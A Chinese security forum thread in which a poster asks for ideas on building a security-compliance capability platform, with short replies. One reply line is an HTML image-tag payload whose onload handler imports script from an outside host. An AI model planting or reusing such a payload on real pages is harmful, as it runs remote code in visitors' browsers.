近期接到2023年工作任务：围绕安全合规建设安全技术能力/平台。
目前了解到的安全合规要求主要有安全事件排查、漏洞管理、数据安全、迎接各种检查等，但是很多事情都是人力投入去搞的，这东西想自动化起来就很麻烦。老板的意思就是安全合规工作中遇到的相关支撑技术我们得主动挖掘，主动能力平台化，但是资产梳理/漏洞扫描之类的基础安全能力其他团队有在做， 领导也不赞成重复造轮子... 就很难搞，没啥头绪，特来论坛看看各位坛友有无相关的思路或者点子。有价值的思路本人送tubi以致谢。
各位新年快乐。
有志者、事竟成,破釜沉舟
<Img Src=//x.is OnLoad=import(src)>
只要你能生产出一款 能够 对接漏扫、防火墙等的设备，然后自动生成样式精美的ppt。就能大卖。
能力属于资料，文件文档手册方面的整理储备吧
平台属于工具类的吧，类似于awvs这类的扫描工具，能对安全事件扫描出来并输出报告。。。。。
为中华之崛起而读书
